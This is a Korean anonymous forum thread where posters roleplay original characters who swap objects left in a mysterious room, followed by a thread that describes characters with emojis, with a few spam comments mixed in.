ㅗ..이거 뭐야? 총이잖아..?! 누군가 놓고 간건가.. 이런 폭력적안 물건을 지니고 있으면 나의 로드께서 기겁하겠지. 뭐, 이것보다 더 성능이 좋은 걸 이미 가지고 있기도 하고.. (붉은 빛을 내는 엄청나게 미래지향적인 총을 주머니에서 만지작거린다.) 아, 물론 이것도 싫어하겠지만 이건 42세기 지구에서 유일하게 생존한 고귀하고 완벽하고 아름다운 황녀에겐 필수품이라고☆

ㅜ..나도 뭐 하나를 놓고 가야한다고? 그럼.. 저번 나와의 싸움에서 진 불쌍한 우주양아치의 신체부위 중 하나를 두고 갈게! 그래도 가장 예뻤던 눈알을 두고 가야지~~ (들고있던 작은 가방에서 꿈틀거리며 핏줄이 움직이는 신선하고 흉물스러운 붉은 눈알을 대충 놓는다.) 그럼 바쁘고 멋있는 황녀는 이만!!

38 이름 없음 (t3fn7Dhxio)

2022-03-28 (모두 수고..) 01:18:25

ㅗ .....이게 뭐야. (질겁)
(슬쩍 살펴보고 진품(?)임을 확인한 후 눈을 돌린다.)
이걸... 누가 이런 짓을. 누군진 몰라도, 꽤나 악취미군...
(눈알만이라도 수습해서 대충 어딘가에 묻어준다.)

ㅜ (수습 과정에서 주머니에서 펜이 툭 떨어진다. 눈치채지 못하고 떠난다.)
(금색으로 촘촘하게 문양이 새겨진 검은 색의 만년필이다.)

39 이름 없음 (jTRTYaLV5w)

2022-03-28 (모두 수고..) 02:43:46

ㅗ 뭐지~ 무기? 아니, 무기라기엔 날붙이도 아니고, 마력도 탐지되는 건 없는 것 같고...
(조심스럽게 그 '물건'을 집어들었다. 이리 저리 구경하다 뚜껑을 발견하곤 분리시켜보았다.) 뭐야~, 안은 생각보다 뾰족하잖아? 무기가 맞았나보네~

ㅜ 이 세계엔 알 수 없는 물건들이 많아. 그래, 가져가서 동료들한테 보여줘야지! 그럼... 나도 똑같이 무기를 놔두고 가야 경우가 맞으려나~
(어차피 던지면 잃어버리는 거니까 괜찮아-라고 생각하여, 친구에게 빌린 수리검들 중 한 자루를 내려놓았다. 그러곤 '무기'를 손에 꼭 쥐고 방을 나섰다)

40 이름 없음 (uCy3k1qeTU)

2022-03-28 (모두 수고..) 03:41:40

ㅗ 피를 마신 물건인가? 우리 (기록말소)에게 좋은 먹이가 되겠군. (초롱초롱. 지적 호기심으로 뭉친 녹색 눈동자가 안경알 너머로 수리검을 자세히 살핀다.)

ㅜ 척박한 생활 속에서도 취미는 하나쯤 있어야 하는 법이지. 즐거운 가드닝 생활 되게. (방긋방긋 웃으며 복숭아 씨앗 정도의 광택이 나는 수상한 씨앗과 화분을 두고 갔다. 화분 안에는 평범한 흙 다신 투명한 젤리같은 것이 담겨있다. 쪽지도 함께 남겨졌는데, <물은 매일, 잘게 썬 고기는 3~4일 간격으로 한번 'u'b> 이라고 쓰여있군.(

41 how to find the cheapest flights (pdQ5O3B0CA)

2022-04-05 (FIRE!) 13:53:48

Thank you for the good writeup. It if truth be told was
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from you! However, how could we be in contact?

42 이름 없음 (hTdp8gKb/A)

2022-04-11 (모두 수고..) 04:35:19

[이 그지같은 영어 스팸글... 갈!]

ㅗ 쓰읍, 고기를 먹는 식물이라. 궁금하기도 한데... 길러, 말어?
...기르면 []될 것 같은데.


ㅜ 뭔가를 놓고 가라... 내 주머니에 뭐가 있으려나? (주머니에 손을 넣고 뒤적거리다가, 구겨놓은 껌 포장지 한움큼을 꺼냈다.) 그... 내 쓰레기가, 남의... 보물이 될 수 있으니까. 그럼, 그럼.
(뻔뻔하게 포장지들을 놓고는 가드닝 세트와 함께 호다닥 도망쳤다.)

43 이름 없음 (rf2vpDndHY)

2022-04-19 (FIRE!) 21:30:36

ㅗ 흐으으으음? 이 은색으로 빛나는 종이는 무엇인고?
아니, 자세히 보니 한면은 한지고, 다른 한면은...
....설마 알루미늄?! 아니 그럴리가?! 하지만 이 질감과 색은 분명 왕실 브로치에 쓰인 그것과 같다!
어쨌든간에 이건 행운이로구나!! 안 그래도 연금에 쓸 재료를 고안하고 있었건만!

ㅜ ....솔직히 이건 진지하게 따지고 보면 이 방의 주인의 것이겠지, 하지만....
....(무지개색으로 빛나는 특급 마석덩어리를 탁자위에 올려놓으며)....이러면 되겠지!
미안하지만 이걸로 값을 치루겠소! 이름모를 주인이여!
(도망치듯 방을 나간다)

44 이름 없음 (1GTSGdsE6E)

2022-05-02 (모두 수고..) 15:14:00

ㅗ..이게.. 뭐지..??

45 카지노사이트 (zDNsDGUrTQ)

2022-05-06 (불탄다..!) 10:40:53

I'm extremely impressed with your writing skills and also with the layout on your weblog.
Is this a paid theme or did you modify it yourself?
Either way keep up the excellent quality writing, it's rare to see a great blog like this one nowadays.

46 이름 없음 (QykJzIvBhA)

2022-05-06 (불탄다..!) 16:47:58

아무도 두고 가지 않아서 제가 다시 시작하겠습니다

ㅜ 아버지, 결제하실 서류... 어라, 없으시네. 방을 잘못 찾은 건가?... 뭐, 언젠가 보시고 확인하시겠지. 여기에 두고 가야겠다.
(책상 위에 서류 뭉텅이를 올려두고 간다. 대충 훑어보니 경제 계획안인 것 같아.)

47 이름 없음 (FCxvttmeIg)

2022-11-30 (水) 01:26:42

ㅗ 음, 뭐죠? 중요한 서류 같은데. 왜 이런 게 여기 있는지는 모르겠지만… 방 위치상 기사단 사람 것일 확률이 높겠지요. 마침 가는 길이니 가서 주인을 찾아볼까요.

ㅜ (방에서 나가다 무언가를 떨어트린다. 은으로 된 사슬 목걸이에 반지 한 쌍이 걸려있다.)

48 이름 없음 (bd0qmD0HIc)

2022-12-03 (파란날) 02:54:16

ㅗ 음... 이걸 팔면 돈이 좀 될까. 이번 주 식비가 어느 정도였더라? 반지까지 있으니 목걸이보단 값을 치겠지. (목걸이를 주워 자연스럽게 주머니에 집어넣는다...)

ㅜ (말 없이 탁자 위에 책 한 권을 내려놓는다. 제목은... <남자의 마음을 사로잡는 멘트 101선>이다...) 이딴걸 갖고 있다가 들킬 순 없지.

49 이름 없음 (OKgWhGWrP2)

2022-12-03 (파란날) 15:41:23

ㅗ ...별 이상한 책이 다 있네? (제목을 보며 조금 당황스러운 것 같다) ...주변에 아무도 없지?
(살짝 주변을 살펴보다 슬쩍 책을 주머니 속에 넣는다)

ㅜ 헉, 소집 시간에 늦겠다. 빨리 가야지! (후다닥 돌아서느라, 다른 주머니에서 무언가가 떨어지는 것을 깨닫지 못한다.)
(부드러운 곡선이 세공된 녹색 숄이 달린 손바닥만한 은장도)

50 이름 없음 (Oc5q2tYmtA)

2022-12-16 (불탄다..!) 02:07:29

ㅗ. 저기 잠시만 이거 놓고 갔어! 야, 안 들려?! 이거 좀 비싸보이는데 팔아도 괜찮은건가? (고민하더니.) 에이씨, 괜히 고소 당할라. (그곳에 두고 간다.)

ㅜ. 선배가 온다고?! 어디, 어디 있는데? 어디 있냐고 물었잖아. ...선배한테 고백 못하면 다음에는 네가 죽게 될 줄 알아.(전화하는듯 대화하더니 식칼과 러브러터를 떨어뜨리고 가버린다.)

51 이름 없음 (dZGOcqSZJs)

2022-12-31 (파란날) 17:47:52

ㅗ 칼이랑 편지? 이런게 왜 여기있지?
적당히 치워버리고 튜닝이나하자.

ㅜ 줄이 너무 낡았나? 아예 갈아줘야겠다. (쓰고 남은 기타용 엘릭서를 두고간다)

52 이름 없음 (a0x/OoFspI)

2023-01-04 (水) 11:07:49

ㅗ 허? 뭐지. 기타에 쓰는건가. 우리 딸한테 갖다줘야겠네.

ㅜ 아, 새해부터 바쁘다. 바빠. (쩔어버린 얼굴로 비타민 캔디를 까먹곤 한개 두고간다.)

53 이름 없음 (Tf24YwWfQY)

2023-01-06 (불탄다..!) 08:48:36

ㅗ (자리에 앉아서 수첩에 필기한다) 이거 뭐지? 아싸 득템

ㅜ 대강 정리했고 슬슬갈까? (필기하던 볼펜을 흘린다)

54 이름 없음 (z.x0diXbEE)

2023-02-10 (불탄다..!) 22:31:22

ㅗ 오 음 이니셜을 보니 그 탐정건 아닌데음... 경찰서에 맞기죠 뭐

ㅜ [주머니에 들어있던 다음(2주후) 범행 예고장을 떨어트린다]

55 이름 없음 (u4IjKNzxTw)

2023-02-17 (불탄다..!) 11:17:14

ㅗ ...범행 예고장? 우리 영지에서 간도 크네... 형님께 가져다 드리면 어떤 반응이려나♪

ㅜ 무릇 초대장을 받았으면 그 답례를 하는 것이 예의겠지?
(자신이 초대장을 주운 자리에 단검을 내리 꽂는다.)
자, 어디 한 번 재미있는 광경을 만들어 주길 바래, 예비 범죄자 씨!

56 이름 없음 (kiemjT5dXg)

2023-02-19 (내일 월요일) 16:11:15

ㅗ엑, 이거 설마 진검인가? 섬뜩하네~ 하지만 멋있는 것 같기도..? ...큼큼, 이건 단지 호신용으로 가져가는 거야.

ㅜ이 단검의 답례로 내 브릿지 정도면 되려나? (머리에 착용하고 있던 브릿지를 때어내 자리에 둔다.) 내가 진짜 아끼는 거 주는 거야! 버리기만 해..!!

57 이름 없음 (qifVb8OT9Q)

2023-03-06 (모두 수고..) 00:29:17

ㅗ누가 부분가발을 여기 두고 갔네...? 물건 주워가라고 여기 쓰여 있으니 가져가도 되겠지. 그럼... (주섬주섬... 매고 있던 메신저 백 안에 브릿지를 넣는다. 집에 간 뒤 소독해서 써야지)

ㅜ뭔가 물건을 두고 가야 한다면... 이걸 두고 가야지...(최근에 인형뽑기에서 뽑은 마스코트 키링이다. 고리에 분홍색 곰돌이가 달려 있다. 비슷한 물건을 여러 개 뽑았는데 그 중 가장 취향이 아닌 것을 두고 갔다.)

58 이름 없음 (MLlKcvr6h6)

2023-03-09 (거의 끝나감) 19:54:41

ㅗ앗, 이건 키링? 분석해보니 지문이 찍혀있는 걸 보니 남의 것 같은데... 가져가도 되겠지? 박사님께서 좋아하시면 좋겠다!

ㅜ그래도 조금 미안하긴 하니까... 아, 내 충전기 정도면 되려나? 충전기는 연구소에 많으니까 하나쯤은 괜찮겠지. (그렇게 말하곤 주머니에서 꺼낸 c타입 충전기를 꺼내 놓은다.)

59 이름 없음 (Vh20KT7OvI)

2023-07-07 (불탄다..!) 19:37:42

ㅗ (충전기를 집어 들며)이건… 다른 세계의 물건이네요. 이런 게 왜 여기 있는지는 모르겠지만, 좋은 기념품이 되겠어요. 예상치 못한 선물을 받았네요.

ㅜ 음… 보답…해야겠죠…? 다른 세계의 물건이 있었다는 건 곧 다른 세계와 연결될 가능성이 높다는 것… 그렇다면 문제를 일으킬 확률이 낮은 물건을 두고 가는 게…(생각을 하는 듯 한참을 중얼거린다. 그러다 곧 품에 안고 있던 곰인형을 자리에 내려두고 뿌듯한 표정을 짓는다.) 다룰 수 있는 사람의 손에 들어가면 좋겠지만, 아니라도 '귀여움'은 충분한 가치일 테니까요. 최고의 인형 제작자인 내 곰인형은 완벽하니까.

60 이름 없음 (I5wh3lhmAA)

2023-07-11 (FIRE!) 14:44:38

ㅗ 귀여운 인형인가요? 으음... 끌어안고 자면 좋을 것 같네요... 누군가 잊고 간 건... 아니겠지만.

ㅜ ...그럼, 이거라도 두고 갈까요. (주머니를 뒤적여 반창고와 붕대 몇개를 놓는다.) ...옛날이라면 몰라도, 저에게는, 이제 필요 없는 물건이니까.

61 이름 없음 (vBj/qIsLZU)

2023-07-15 (파란날) 06:07:31

ㅗ ...붕대랑 반창고? 허,나에게는 큰 도움이 되지는 않겠지만...적어도,나의 사랑에겐 도움이 되긴 할테지. 받아가둘까

ㅜ 나로썬 특별히 줄수 있는것이 없는데... 누가 가져갈진 모르나 대부분의 인간들은 보석이라면 기쁘게 받아갈테지...
그래,이거면 될거다.
(허공에서 엄지 손가락 마디 정도의 붉은 보석을 꺼냅니다) 귀중하게 간직하든,갖다가 팔아버리든 좋을대로 하거라

62 이름 없음 (d6.vmTEimI)

2023-07-15 (파란날) 08:58:44

ㅗ ...이건, 보석인가요. 처음보는 보석이네요, 붉은 빛이 감도는 것을 보면 루비같은 계열의 보석인걸까.
장신구로 만들어 선물한다면 기뻐하려나...

ㅜ ...하지만 가져만 가기엔 미안하니, 이번 기회에 이거라도 두고 갈까요.
(핸드백에서 하얀 천에 쌓여있던 영롱한 푸른 보석이 중앙에 박힌 십자가를 내려둔다)
...소중한거였지만, 언제까지 매달리고 있을 수는 없으니까...

63 이름 없음 (kKZ5rKC7s2)

2023-07-16 (내일 월요일) 12:07:20

ㅗ 십자가... 별로 좋은기억이 있는 물건은 아닌데...
주인이 찾으러 올 것 같진 않으니 팔아버리든지 해야겠어.

ㅜ (메고 있던 작은 가방에서 보라색 물약이 든 작은 약병을 내려놓는다)
멋대로 가져간 것에 대한 사과랄까...

64 이름 없음 (D1UnpwZc5I)

2023-07-17 (모두 수고..) 12:06:18

ㅗ 저어-기 이거 빛깔 너무 수상하지 않습니까? 뭐, 돈이 된다면 좋겠네요

ㅜ ...쓰레기 무단 투기네 어쩌네 화내진 마십쇼. 다리는 부러지고 알도 꺠져서 선글라스라기보다 고철 수준이긴 해도 한창땐 귀했던 거니까.

65 이름 없음 (Wff.hDnlLE)

2023-07-17 (모두 수고..) 17:51:28

ㅗ 여기는... 그리고 이건... 많은 사람들의 손을 탔던거 같네요... 만들어지고부터 여기에 놓이기까지 많은 일이 있었군요.(선글라스였던 물건의 표면을 손끝으로 쓸어내리며)

ㅜ 어떠한 물건이든 대신이 될 수는 없겠지만... 부디 많은 경험이 기억되기를(품속에서 고풍스러운 분위기의 수첩을 내려놓는다)

66 이름 없음 (0jYnA9oFOU)

2023-07-24 (모두 수고..) 17:51:10

ㅗ …모르는 공간에, 수상할 정도로 고풍스러운 수첩이라…. 이런 엇갈림은 또 처음이구나. 하긴, 그 두 인간 녀석과 얽힌 이후로 예상치 못한 상황은 자주 있었으니 그리 이상할 건 없지. 의심스럽지만, 그렇다고 피할 이유도 없구나. (수첩을 집어들고 읽기 시작한다) 호오… 다른 세계의 기행인가. 함정이 아닌 선물이었던 모양이야.

ㅜ 바란 것은 아니나, 선물을 받은 이상 보답하지 않는 것은 예의가 아니겠지. 그럼 무엇을 주는 게 좋을까…(고민하는 듯 한참 가만히 서 있다가 품에서 은으로 된 반지 한 쌍을 꺼내 내려둔다.) 은은 예로부터 악을 배척하는 의미를 품어 신성을 담는 그릇으로 쓰였지. 자그마한 행복을 부르는 사소한 축복일 뿐이나, 보답으론 나쁘니 않을 터.

67 이름 없음 (kMvnNfDJAI)

2023-07-24 (모두 수고..) 22:57:57

ㅗ 은, 그것도 한쌍의 은반지라.
그이도, 이런 자그마한 반지를 끼고있었는데.
역시, 마족들은 다 죽여야겠네.
이 공간은 결계마법의 일종인걸까?

ㅜ 누구건지도 모르고, 왜 놓여져있는지도 모르겠지만.
덕분에 희석될뻔한 목표를 다시 아로새겨줬으니 보상을 해야겠네.
(강력한 중력마법으로 인해 극한으로 압축된 구슬크기의 운철을 놓아둔다)
무중력 부여마법 덕분에 무겁진 않을테고, 마력도 끊임없이 생산하는 아티펙트니까 최소한 마법사한텐 쓸모있겠지.
잘 있어. 정체모를 공간아.

68 이름 없음 (epiN26lBRo)

2023-08-13 (내일 월요일) 20:39:05

ㅗ 돌맹이? 아니, 단순한 돌맹이가 아니네요.
소재도 상당히 귀한 운철이고, 이런 정교한 중력 활용이라면, 다른 '별'이 만든 걸까요?

...잠깐, 이 마력은 그냥 고여있는 게 아니야, 이건 분명히 안에서 '흘러나오는' 건데?!
이게 본체가 아니라 단순한 단말 역할인건가? 아니아니, 분명히 그런 연결은 없어!

'외계'의 물건이라고 밖에 해석할 수 없겠네요.
이런 터무니 없는 선물을 받다니, 일단 궁으로 돌아가서 조사를 부탁해야겠어요.



ㅜ ...아, 이런 '법칙'의 교환인가요.
귀한 물건을 받았으니 저 역시 귀한 걸 드려야 할텐데, 으므므므므므...

(쓰고 있던 모자의 챙에 달려 있던 쇠붙이를 떼어낸다. 소문자 m의 오른쪽에 물고기모양이 하나 붙어있는 형태였다.)

어느 분이 가져가실진 모르지만... 단순한 금속이 아닌 제 '조각'이니까요. 부디 요긴히 사용해주시길.

69 이름 없음 (HeBfkKsdsc)

2023-08-18 (불탄다..!) 02:19:55

ㅗ 처음 보는 형태의 금속 장식이라… 무엇의 상징인지 조사하는 것도 나름 재밌는 일이 되겠어. 구성이 꽤 독특하니 추적하는 데 시간은 꽤 걸리겠지만.

ㅜ 이런 의도치 않은 수확은 보통 대가가 있지. 추측하자면… 물물교환일까? 그렇다면 나도 재미있는 걸 하나 남기는 게 좋겠지.
(들고 있던 주머니에서 한 손에는 새장, 다른 한 손에는 검을 든 여성의 모습을 한 조각상을 꺼낸다.)
가져가는 이에게 과연 저주가 깃들까, 축복이 깃들까?

70 https://www.fr.savefrom.net/ (q97rNvJ17c)

2024-07-09 (FIRE!) 10:41:48

Cette application est souvent considérée à tort comme nuisible ou envahissante.

71 이름 없음 (JZgIm8wcyI)

2024-09-26 (거의 끝나감) 02:17:44

ㅗ 불미스러운 공간에 놓여진 불미스러운 형상이란 필시 이교도의 우상일지니. 아공간으로부터의 불경한 믿음이 마드리사의 길 잃은 학도들을 현혹시켜 현세에 당도한다면 걷잡을 수 없겠구나. 이에 따라 늦기 전에 파괴되어야 마땅할 터.

(급하게 조각상을 들어올려 바닥에 내리칠 자세를 취한다. 하지만 행동하기 직전 불안한 표정으로 잠시 망설이는 듯 하다 결국 조각상을 원래의 위치에 내려놓는다)

ㅜ 부정함으로 빚어진 여인이여, 나는 진리를 따르는 자로서 그대의 검에 굴복하지 않고 그대의 새장에 현혹되지 않으리라. 그대 주인의 속임수가 다한다면 그대의 석고 구조과 간교한 미소는 아공간의 소멸과 함께 깨트려져 심판당할 것이니 알라께서 처리하실 아공간의 악의에 대하여 현세의 인간으로서 감히 간섭할 수 없음이 통탄스러울 뿐이다.

(기묘한 조각상의 모습이 서서이 보이지 않게 되어 자신의 운명에 녹아들어가고 있다는 것도 알지 못한 채, 도망치듯 방을 빠져나온다. 그저 두고 나온 램프의 불꽃만이 방 안을 영롱히 비추며 타오른다.)

72 이름 없음 (m6tp7goth6)

2024-10-14 (모두 수고..) 13:37:54

ㅗ 램프? 고풍스럽고 괜찮네. 그 분이 좋아하시겠어, 하나 가져가야지! (아무 생각 없이 램프를 집어든다. 운명 같은 것에 녹아드는 것을 전혀 모르는 듯하다. ...먼 훗날에는 알게 될 지도?)

ㅜ 멋진 선물을 받았으니... 나도 하나 줘야지. 우리 가문만 사용 가능한 이 '열쇠'를! ...사용 방법을 모른다면 말짱 꽝이겠지만, 중요한 건 주는 마음이라고! (단순하게 생긴 반짝이는 청동 열쇠를 두고 간다)

73 이름 없음 (xOStEsxjPA)

2024-11-01 (불탄다..!) 08:21:17

ㅗ 아니, 어디에 쓰면 좋을 지 모르는 열쇠 같은 거 가지고 있어봤자…. 뭐, 기념으로 하나 가져가는 것도 나쁘지 않으려나. 뭣하면 중고로 파는 것도 가능하고! (청동 열쇠 한 손에 쥐고 코트 주머니 깊게 그 손을 찔러넣었다.)

ㅜ (그랬더니, 무언가 손등에 닿았다. …어라? 주머니에 뭐 넣어놨던가. 열쇠를 놓고 손등에 닿은 물건을 집어 꺼내자, 언젠가 사고 잊어버렸던 새 연필과 구깃한 영수증이 하나씩 있었다.) 우왓, 이런 거 샀던가… 라니, 엑, 700엔!? 연필 한 자루에 700엔이나 되는 걸 왜 샀었지!? 게다가 연필은 이미 집에 산더미처럼 많은데…. 뭐, 이렇게 된 거 나도 여기 두고 가야겠다. 나 같은 거 말고 좋은 새 주인 만나라~ (꾸깃한 영수증 펼치고 그 위에 연필 툭 올려놓곤 손 흔들며 작별인사를 하고 떠난다.)

74 이름 없음 (ciMmyF3RnU)

2024-11-21 (거의 끝나감) 21:39:13


ㅡ뭐라 적혀있는거야? 「이공간의 방안에서 X는 연필과 영수증을 득템했다. X는 익숙한 형태의 연필은 바닥에 그대로 두고는 영수증만 챙겼다. X는 영수증에 흥미가 더 가는듯 하다. 종이의 질감, 잉크의 인쇄된 정교한 모양세, 700이라 표기된 숫자 앞의 기호는 X의 세계에 없는것이기에 생소한 모양이다.」 뭐, 그 녀석에게 물어보면 알려나. 모른다고 하면 버리면 그만이고. 「X는 저도 모르게 은은한 미소를 입가에 건다. 생각만으로도 기분이 좋아지는 이를 상기한듯이 허밍까지 흥얼거리며 들고있던 영수증을 바지춤 위치에 있는 가죽 케이스에 쑤셔 넣는다」 슬슬 나가볼까. 「애초에 이공간의 출현에 놀라거나 당황한 기색이 없다. 그가 있던 숲에서는 결이 같은 이상현상이 자주 발생되는 모양이다.」


「X는 영수증을 챙기는 과정에서 가죽 케이스에서 무엇인가를 흘렸다. X가 직접 사냥한 정체불명의 짐승 고기를 말린 핏빛색 육포다. 육포는 조잡하고 투박하게 바느질된 짐승의 가죽 포켓에 담겨져 있었고 양이 꽤 된다.(성인 남자의 손바닥 크기)
꺼내보면 상큼한 계열의 열매를 먹고자란 개체에서 날법한 새콤하고 달콤한 과일의 향이 난다. 맛을 본다면 과일을 말린 가죽(이를테면 라바삭)처럼 상큼하게 달달하며 끝에 고기 특유의 쿰쿰한 맛이남는다. 식감은 혀로도 부드럽게 부서지는 식감. 아마 누군가에게 먹이기 위해 챙겨온건 아닐까.」

75 이름 없음 (T7GxWBACAU)

2024-11-22 (불탄다..!) 18:04:38

ㅗ (육포를 집어들고)이거 먹어도 되는 건가? 누가 두고 간 것인지도 모르겠고 찜찜하긴 한데… 뭐, 내게 문제가 생길 리는 없으니까. (육포를 조금 잘라 씹는다.) 으음, 딱히 취향은 아니네.

ㅜ 그래도 허기를 가시게 해주었으니 작은 「장난감」 하나 정도는 내어줄 수 있지. (허공을 손톱으로 가르자 작은 틈이 생긴다. 그 틈으로 손을 넣어 무언가가 든 상자를 꺼낸다.) 이름은… 가져가는 사람이 알아서 지어 주겠지. 꽤 똑똑하고 순종적인 녀석이니까 누구에게든 좋은 「장난감」이 되어줄 거야. (상자를 내려두며살짝 열린 틈으로 노란 눈 한 쌍이 빛난다.) 외형을 뱀에서 따오는 바람에 재고가 많이 남은 건 흠이지만….

76 이름 없음 (3yNn3Gi3Fg)

2024-12-01 (내일 월요일) 21:02:24

ㅗ 이, 이게 뭐지..? 안에서 뭐가 움직이는 것 같은데... (조심스레 상자를 꾹 눌러닫는다) 내가 굳이 열 필요는 없지!! 창고에 넣어두면 누군가가 가져가겠지, 내건 아니니까...

ㅜ 근데 뭘 하려했더라? 스테이플러! 심이 사라져서 찾으러 왔었는데... 어디있는거야? (같이 가져온 스테이플러를 무심코 바닥에 두고는 잊어버리고 간다)

77 이름 없음 (HJH7vCkdZU)

2024-12-03 (FIRE!) 20:05:59

ㅗ 뭐야 쟤..?두고갔다고 말해주고 싶지만..다시 생각해보니까 내 알빠 아니니까!에라 모르겠당~(스테이플러를 뻥 찬다)

ㅜ 음 뭘 줘야할까..지금 주머니에 있는건 먹다 만 사과와 테무에서 산 싸구려 시계 뿐인데..뭐 그냥 놔둬도 되겠지?애플워치 같아보일지도..(바닥에 소중히 내려놓는다)

78 이름 없음 (5/HhnLTkzc)

2024-12-03 (FIRE!) 20:29:12

ㅗ 먹다 만 사과랑 시계네? 누가 두고 갔지... 뭔진 몰라도 일단 줍고 그리고 버리자

ㅜ 난 낡은 고서를 두고 가야지(가방에서 책을 꺼내 바닥에 내려놓는다)

79 이름 없음 (hmudtclFhc)

2024-12-03 (FIRE!) 23:03:54

ㅗ 이건… 처음보는 책이네요. 저주같은 건… (손가락으로 책등을 가볍게 두드리며) 당장은 느껴지는 게 없지만 혹시 모르니까요. 가벼운 안전 장치는 해두는 게 좋지요. (책을 품에 안아들고 기분 좋게 미소 지으며) 그래도 꽤 즐거운 수확이에요.

ㅜ (제자리에서 빙글빙글 돌며)호의는 호의로 악의는 악의로. 수확에 주고 받음이 필요하니, 보답을 해야겠지요? 뭐가 좋을까요… 선물받은 것을 선물할 수도 없고 음, 뭐가 있었을까요… 아! (제자리에 멈추고 주머니에서 작은 스노우볼을 꺼낸 뒤 바닥에 내려둔다) 섬세한 마도구는 아니지만 사용 설명서는… 이런, 없네요.

>1596257070> 🌠🌠🌠이모지로 자캐 설명하는 어장🌌🌌🌌 :: 20

이름 없음

2021-05-27 16:19:19 - 2024-12-03 20:35:00

0 이름 없음 (YPv8IwbGd6)

2021-05-27 (거의 끝나감) 16:19:19

자캐랑 어울리는 이모지든 자캐 행적을 이모지로 묘사하든 자유 아무튼 자캐를 나타내는 이모지 쓰고가면 됨 남의 자캐 궁예하는것도 자유

😇💙🍋🧊🏝🏞💧❄🎆🎇🔹️🔷️🔹️🔷️🔹️🏖⛲⛵🌊🌠

1 이름 없음 (LgS3Am4gBw)

2021-05-29 (파란날) 21:35:44

🙆🌈 🎩💼👞🕴 👍>👩👩👩👨👨👨 👨🗨🕰🆘→🕴→❌ 😭→😊💲

2 이름 없음 (1r7X.9KJ1c)

2021-06-01 (FIRE!) 21:31:08

🍃🌲🏡🌲💐🔪🔒🔓🔑

3 이름 없음 (UBIsGJb22.)

2021-06-06 (내일 월요일) 22:29:35

🥂🍾💰💰💵👑👑🤑🍷🍾🍾🥴🥃

4 이름 없음 (Joot2apavo)

2021-12-20 (모두 수고..) 21:25:27

😎😎✌🖕🏻🌹🌹😜😈👸💄

5 이름 없음 (NlK9ZbIjJg)

2021-12-21 (FIRE!) 02:47:15

💥🌏🧍‍♂️.🌠🗡👬⚔😈🐉,🤕😰➰👿🗡⚔🌠🗡.🤍🙎🧍‍♂️➰🔪🙎🗡〰️🌠🗡⚔👬🤕,🌏◽🕊.👬🤍.

6 이름 없음 (ojXHyqDZIU)

2022-01-27 (거의 끝나감) 18:13:23

😊🐨☕🥼🥽📑📝

7 이름 없음 (NxdM6fRehk)

2022-01-29 (파란날) 21:16:34

💰🔪❄

8 이름 없음 (yew440tdqs)

2022-01-29 (파란날) 21:28:01

>>7 얼음 초능력을 가진 강도캐인가

9 이름 없음 (sciRUVWN8A)

2022-02-27 (내일 월요일) 11:34:55

😈🤬🖕🖤💣💋🌹🥀🐍

10 이름 없음 (V8CNVU7AXs)

2022-03-13 (내일 월요일) 14:10:40

1. 🍞🍁😍💌
2. 🖤💣🌙🔮🕯️✂️🔨

11 이름 없음 (2FG9HGi6ZQ)

2022-11-25 (불탄다..!) 16:48:48

😉🌱🌼🌲🌳🌷🍀

12 이름 없음 (jrEWG7OS76)

2022-11-26 (파란날) 00:34:17

1.🗣🗯😍💘😍💘😍💘😍
2.😡🤬👿🔥🔥🔥😈🔥🔥🔥

13 이름 없음 (FCxvttmeIg)

2022-11-30 (水) 01:51:03

✨🐱🌕🌀🎓🔯😐🌸🌠

14 이름 없음 (AXuSmC1IxU)

2022-12-13 (FIRE!) 20:21:12

😄😈🖕🏻🤬🤑😾

15 이름 없음 (a0x/OoFspI)

2023-01-04 (水) 11:34:58

>>13 고양이 키우는 마법사?

👓👔👞💾🩻⚔️

16 이름 없음 (Tf24YwWfQY)

2023-01-06 (불탄다..!) 09:07:39

🚚😇🪂🧟✒️📗✒️📕✒️📔✒️✒️✒️😃😃😃👣👣👣🏞️✏️📒😀

17 이름 없음 (z.x0diXbEE)

2023-02-10 (불탄다..!) 22:35:31

🎩🤍🧐💎🧤🌃🔪❌🤕🤗🫥🥺👦❤️‍🩹💰🦊🐶

18 이름 없음 (kiSMHN7DXA)

2023-03-12 (내일 월요일) 15:05:11

🎩🤍🧐💎🧤🌃🔪❌🤕🤗🫥🥺👦❤️‍🩹💰🦊🐶

19 이름 없음 (2YATVfRL7I)

2024-05-31 (불탄다..!) 06:21:29

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20 이름 없음 (5/HhnLTkzc)

2024-12-03 (FIRE!) 20:35:00

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